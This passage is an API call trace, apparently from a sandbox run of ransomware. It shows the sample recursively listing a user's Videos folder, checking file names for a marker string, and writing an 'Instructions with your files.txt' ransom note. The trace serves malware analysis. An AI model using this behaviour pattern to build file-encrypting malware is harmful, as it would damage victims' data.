[0131.708] StrStrIW (lpFirst="2eZHHk.swf", lpSrch="SDfghjkl") returned 0x0
[0131.708] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe03cf730, ftCreationTime.dwHighDateTime=0x1d5b9a2, ftLastAccessTime.dwLowDateTime=0x3b2c5850, ftLastAccessTime.dwHighDateTime=0x1d5c55d, ftLastWriteTime.dwLowDateTime=0x3b2c5850, ftLastWriteTime.dwHighDateTime=0x1d5c55d, nFileSizeHigh=0x0, nFileSizeLow=0x14fce, dwReserved0=0x0, dwReserved1=0x0, cFileName="at6u6fzUdmsBCsxdONrA.mkv", cAlternateFileName="AT6U6F~1.MKV")) returned 1
[0131.708] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\at6u6fzUdmsBCsxdONrA.mkv") returned 81
[0131.708] StrStrIW (lpFirst="at6u6fzUdmsBCsxdONrA.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.708] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0612ae0, ftCreationTime.dwHighDateTime=0x1d5ba95, ftLastAccessTime.dwLowDateTime=0x27db1fd0, ftLastAccessTime.dwHighDateTime=0x1d5bd46, ftLastWriteTime.dwLowDateTime=0x27db1fd0, ftLastWriteTime.dwHighDateTime=0x1d5bd46, nFileSizeHigh=0x0, nFileSizeLow=0x6b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bWNIyCRZQimdO3.flv", cAlternateFileName="BWNIYC~1.FLV")) returned 1
[0131.708] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\bWNIyCRZQimdO3.flv") returned 75
[0131.708] StrStrIW (lpFirst="bWNIyCRZQimdO3.flv", lpSrch="SDfghjkl") returned 0x0
[0131.708] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x192228e0, ftCreationTime.dwHighDateTime=0x1d5c00b, ftLastAccessTime.dwLowDateTime=0x5b508bd0, ftLastAccessTime.dwHighDateTime=0x1d5c42f, ftLastWriteTime.dwLowDateTime=0x5b508bd0, ftLastWriteTime.dwHighDateTime=0x1d5c42f, nFileSizeHigh=0x0, nFileSizeLow=0x10c52, dwReserved0=0x0, dwReserved1=0x0, cFileName="HeSjDRE0ZUlaDyeH.swf", cAlternateFileName="HESJDR~1.SWF")) returned 1
[0131.708] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\HeSjDRE0ZUlaDyeH.swf") returned 77
[0131.708] StrStrIW (lpFirst="HeSjDRE0ZUlaDyeH.swf", lpSrch="SDfghjkl") returned 0x0
[0131.708] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69d8550, ftCreationTime.dwHighDateTime=0x1d5bfda, ftLastAccessTime.dwLowDateTime=0xa4a0c2d0, ftLastAccessTime.dwHighDateTime=0x1d5bcb1, ftLastWriteTime.dwLowDateTime=0xa4a0c2d0, ftLastWriteTime.dwHighDateTime=0x1d5bcb1, nFileSizeHigh=0x0, nFileSizeLow=0x61a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jTwMiH5.mkv", cAlternateFileName="")) returned 1
[0131.708] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\jTwMiH5.mkv") returned 68
[0131.708] StrStrIW (lpFirst="jTwMiH5.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.708] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x614237f0, ftCreationTime.dwHighDateTime=0x1d5c4fc, ftLastAccessTime.dwLowDateTime=0xe5b75720, ftLastAccessTime.dwHighDateTime=0x1d5c2d8, ftLastWriteTime.dwLowDateTime=0xe5b75720, ftLastWriteTime.dwHighDateTime=0x1d5c2d8, nFileSizeHigh=0x0, nFileSizeLow=0x4bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="kJ0Xw_ugLsXfc7.avi", cAlternateFileName="KJ0XW_~1.AVI")) returned 1
[0131.708] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\kJ0Xw_ugLsXfc7.avi") returned 75
[0131.708] StrStrIW (lpFirst="kJ0Xw_ugLsXfc7.avi", lpSrch="SDfghjkl") returned 0x0
[0131.709] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d14a250, ftCreationTime.dwHighDateTime=0x1d5c2d6, ftLastAccessTime.dwLowDateTime=0xd7a04e0, ftLastAccessTime.dwHighDateTime=0x1d5c5c4, ftLastWriteTime.dwLowDateTime=0xd7a04e0, ftLastWriteTime.dwHighDateTime=0x1d5c5c4, nFileSizeHigh=0x0, nFileSizeLow=0x13d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="kv2_Iyo_.mkv", cAlternateFileName="")) returned 1
[0131.709] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\kv2_Iyo_.mkv") returned 69
[0131.709] StrStrIW (lpFirst="kv2_Iyo_.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.709] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb671d70, ftCreationTime.dwHighDateTime=0x1d5b737, ftLastAccessTime.dwLowDateTime=0x966e6550, ftLastAccessTime.dwHighDateTime=0x1d5bde7, ftLastWriteTime.dwLowDateTime=0x966e6550, ftLastWriteTime.dwHighDateTime=0x1d5bde7, nFileSizeHigh=0x0, nFileSizeLow=0x787a, dwReserved0=0x0, dwReserved1=0x0, cFileName="o8OZdl2etYe1HRB_t.mp4", cAlternateFileName="O8OZDL~1.MP4")) returned 1
[0131.709] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\o8OZdl2etYe1HRB_t.mp4") returned 78
[0131.709] StrStrIW (lpFirst="o8OZdl2etYe1HRB_t.mp4", lpSrch="SDfghjkl") returned 0x0
[0131.709] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad5aace0, ftCreationTime.dwHighDateTime=0x1d5c2f3, ftLastAccessTime.dwLowDateTime=0x4d0c2790, ftLastAccessTime.dwHighDateTime=0x1d5c070, ftLastWriteTime.dwLowDateTime=0x4d0c2790, ftLastWriteTime.dwHighDateTime=0x1d5c070, nFileSizeHigh=0x0, nFileSizeLow=0x1210a, dwReserved0=0x0, dwReserved1=0x0, cFileName="oRPoDIhkxEH.swf", cAlternateFileName="ORPODI~1.SWF")) returned 1
[0131.709] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\oRPoDIhkxEH.swf") returned 72
[0131.709] StrStrIW (lpFirst="oRPoDIhkxEH.swf", lpSrch="SDfghjkl") returned 0x0
[0131.709] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4ab290, ftCreationTime.dwHighDateTime=0x1d5be2f, ftLastAccessTime.dwLowDateTime=0x66bfb380, ftLastAccessTime.dwHighDateTime=0x1d5bf3c, ftLastWriteTime.dwLowDateTime=0x66bfb380, ftLastWriteTime.dwHighDateTime=0x1d5bf3c, nFileSizeHigh=0x0, nFileSizeLow=0xbd6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="P8yVsX.mp4", cAlternateFileName="")) returned 1
[0131.709] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\P8yVsX.mp4") returned 67
[0131.709] StrStrIW (lpFirst="P8yVsX.mp4", lpSrch="SDfghjkl") returned 0x0
[0131.709] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae02ed20, ftCreationTime.dwHighDateTime=0x1d5bfb9, ftLastAccessTime.dwLowDateTime=0x339a2840, ftLastAccessTime.dwHighDateTime=0x1d5c564, ftLastWriteTime.dwLowDateTime=0x339a2840, ftLastWriteTime.dwHighDateTime=0x1d5c564, nFileSizeHigh=0x0, nFileSizeLow=0x67fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="pfHaVCVNB.mp4", cAlternateFileName="PFHAVC~1.MP4")) returned 1
[0131.709] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\pfHaVCVNB.mp4") returned 70
[0131.709] StrStrIW (lpFirst="pfHaVCVNB.mp4", lpSrch="SDfghjkl") returned 0x0
[0131.709] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6974a7d0, ftCreationTime.dwHighDateTime=0x1d5bfe0, ftLastAccessTime.dwLowDateTime=0x5d22c20, ftLastAccessTime.dwHighDateTime=0x1d5b9a5, ftLastWriteTime.dwLowDateTime=0x5d22c20, ftLastWriteTime.dwHighDateTime=0x1d5b9a5, nFileSizeHigh=0x0, nFileSizeLow=0xae7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z5pWLLXgX2n3L.mp4", cAlternateFileName="Z5PWLL~1.MP4")) returned 1
[0131.709] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\Z5pWLLXgX2n3L.mp4") returned 74
[0131.709] StrStrIW (lpFirst="Z5pWLLXgX2n3L.mp4", lpSrch="SDfghjkl") returned 0x0
[0131.709] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6974a7d0, ftCreationTime.dwHighDateTime=0x1d5bfe0, ftLastAccessTime.dwLowDateTime=0x5d22c20, ftLastAccessTime.dwHighDateTime=0x1d5b9a5, ftLastWriteTime.dwLowDateTime=0x5d22c20, ftLastWriteTime.dwHighDateTime=0x1d5b9a5, nFileSizeHigh=0x0, nFileSizeLow=0xae7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z5pWLLXgX2n3L.mp4", cAlternateFileName="Z5PWLL~1.MP4")) returned 0
[0131.709] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\Instructions with your files.txt") returned 89
[0131.709] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\-0nxxuhmbfdthjn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.710] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.710] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.710] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.711] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.711] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.711] CloseHandle (hObject=0x110) returned 1
[0131.711] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.711] GetProcessHeap () returned 0x810000
[0131.711] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.711] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd408c0, ftCreationTime.dwHighDateTime=0x1d5b654, ftLastAccessTime.dwLowDateTime=0x8cc9e340, ftLastAccessTime.dwHighDateTime=0x1d5c3d1, ftLastWriteTime.dwLowDateTime=0x8cc9e340, ftLastWriteTime.dwHighDateTime=0x1d5c3d1, nFileSizeHigh=0x0, nFileSizeLow=0x1155b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3ykOs 1TAYzQ7zQ_rraP.avi", cAlternateFileName="3YKOS1~1.AVI")) returned 1
[0131.711] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ykOs 1TAYzQ7zQ_rraP.avi") returned 65
[0131.711] StrStrIW (lpFirst="3ykOs 1TAYzQ7zQ_rraP.avi", lpSrch="SDfghjkl") returned 0x0
[0131.711] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.711] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned 52
[0131.711] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.711] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47373f50, ftCreationTime.dwHighDateTime=0x1d5bfb0, ftLastAccessTime.dwLowDateTime=0x9e2506d0, ftLastAccessTime.dwHighDateTime=0x1d5bf60, ftLastWriteTime.dwLowDateTime=0x9e2506d0, ftLastWriteTime.dwHighDateTime=0x1d5bf60, nFileSizeHigh=0x0, nFileSizeLow=0x11c4b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dr4He_xalJ5f7lXL.swf", cAlternateFileName="DR4HE_~1.SWF")) returned 1
[0131.711] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Dr4He_xalJ5f7lXL.swf") returned 61
[0131.711] StrStrIW (lpFirst="Dr4He_xalJ5f7lXL.swf", lpSrch="SDfghjkl") returned 0x0
[0131.711] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb61f700, ftCreationTime.dwHighDateTime=0x1d5ba76, ftLastAccessTime.dwLowDateTime=0xee860a90, ftLastAccessTime.dwHighDateTime=0x1d5c2ec, ftLastWriteTime.dwLowDateTime=0xee860a90, ftLastWriteTime.dwHighDateTime=0x1d5c2ec, nFileSizeHigh=0x0, nFileSizeLow=0x13144, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FdOkGOq.swf", cAlternateFileName="")) returned 1
[0131.711] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FdOkGOq.swf") returned 52
[0131.711] StrStrIW (lpFirst="FdOkGOq.swf", lpSrch="SDfghjkl") returned 0x0
[0131.711] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cf1b40, ftCreationTime.dwHighDateTime=0x1d5bd03, ftLastAccessTime.dwLowDateTime=0x1bfdeb0, ftLastAccessTime.dwHighDateTime=0x1d5c45a, ftLastWriteTime.dwLowDateTime=0x1bfdeb0, ftLastWriteTime.dwHighDateTime=0x1d5c45a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lwuV", cAlternateFileName="")) returned 1
[0131.711] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV") returned 45
[0131.711] GetProcessHeap () returned 0x810000
[0131.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.711] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\*") returned 47
[0131.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cf1b40, ftCreationTime.dwHighDateTime=0x1d5bd03, ftLastAccessTime.dwLowDateTime=0x1bfdeb0, ftLastAccessTime.dwHighDateTime=0x1d5c45a, ftLastWriteTime.dwLowDateTime=0x1bfdeb0, ftLastWriteTime.dwHighDateTime=0x1d5c45a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.714] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\.") returned 47
[0131.714] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cf1b40, ftCreationTime.dwHighDateTime=0x1d5bd03, ftLastAccessTime.dwLowDateTime=0x1bfdeb0, ftLastAccessTime.dwHighDateTime=0x1d5c45a, ftLastWriteTime.dwLowDateTime=0x1bfdeb0, ftLastWriteTime.dwHighDateTime=0x1d5c45a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.714] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\..") returned 48
[0131.714] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be3d750, ftCreationTime.dwHighDateTime=0x1d5b837, ftLastAccessTime.dwLowDateTime=0x9e7042a0, ftLastAccessTime.dwHighDateTime=0x1d5ba68, ftLastWriteTime.dwLowDateTime=0x9e7042a0, ftLastWriteTime.dwHighDateTime=0x1d5ba68, nFileSizeHigh=0x0, nFileSizeLow=0xc88b, dwReserved0=0x0, dwReserved1=0x0, cFileName="a bd.mkv", cAlternateFileName="ABD~1.MKV")) returned 1
[0131.714] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\a bd.mkv") returned 54
[0131.714] StrStrIW (lpFirst="a bd.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.714] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca00c60, ftCreationTime.dwHighDateTime=0x1d5c119, ftLastAccessTime.dwLowDateTime=0xd3f40e30, ftLastAccessTime.dwHighDateTime=0x1d5c03e, ftLastWriteTime.dwLowDateTime=0xd3f40e30, ftLastWriteTime.dwHighDateTime=0x1d5c03e, nFileSizeHigh=0x0, nFileSizeLow=0x41d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="duQi67URnS.swf", cAlternateFileName="DUQI67~1.SWF")) returned 1
[0131.714] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\duQi67URnS.swf") returned 60
[0131.714] StrStrIW (lpFirst="duQi67URnS.swf", lpSrch="SDfghjkl") returned 0x0
[0131.714] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x275a72e0, ftCreationTime.dwHighDateTime=0x1d5c0cf, ftLastAccessTime.dwLowDateTime=0x6cc1ae10, ftLastAccessTime.dwHighDateTime=0x1d5b71b, ftLastWriteTime.dwLowDateTime=0x6cc1ae10, ftLastWriteTime.dwHighDateTime=0x1d5b71b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fJKtya8Ar", cAlternateFileName="FJKTYA~1")) returned 1
[0131.714] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar") returned 55
[0131.714] GetProcessHeap () returned 0x810000
[0131.714] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.714] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\*") returned 57
[0131.714] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x275a72e0, ftCreationTime.dwHighDateTime=0x1d5c0cf, ftLastAccessTime.dwLowDateTime=0x6cc1ae10, ftLastAccessTime.dwHighDateTime=0x1d5b71b, ftLastWriteTime.dwLowDateTime=0x6cc1ae10, ftLastWriteTime.dwHighDateTime=0x1d5b71b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.716] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\.") returned 57
[0131.716] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x275a72e0, ftCreationTime.dwHighDateTime=0x1d5c0cf, ftLastAccessTime.dwLowDateTime=0x6cc1ae10, ftLastAccessTime.dwHighDateTime=0x1d5b71b, ftLastWriteTime.dwLowDateTime=0x6cc1ae10, ftLastWriteTime.dwHighDateTime=0x1d5b71b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.716] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\..") returned 58
[0131.716] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ea2b6d0, ftCreationTime.dwHighDateTime=0x1d5b94f, ftLastAccessTime.dwLowDateTime=0x6d76e310, ftLastAccessTime.dwHighDateTime=0x1d5c4aa, ftLastWriteTime.dwLowDateTime=0x6d76e310, ftLastWriteTime.dwHighDateTime=0x1d5c4aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1e8VmxnaEH6ET3a", cAlternateFileName="1E8VMX~1")) returned 1
[0131.716] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a") returned 71
[0131.716] GetProcessHeap () returned 0x810000
[0131.716] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.716] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\*") returned 73
[0131.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ea2b6d0, ftCreationTime.dwHighDateTime=0x1d5b94f, ftLastAccessTime.dwLowDateTime=0x6d76e310, ftLastAccessTime.dwHighDateTime=0x1d5c4aa, ftLastWriteTime.dwLowDateTime=0x6d76e310, ftLastWriteTime.dwHighDateTime=0x1d5c4aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.718] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\.") returned 73
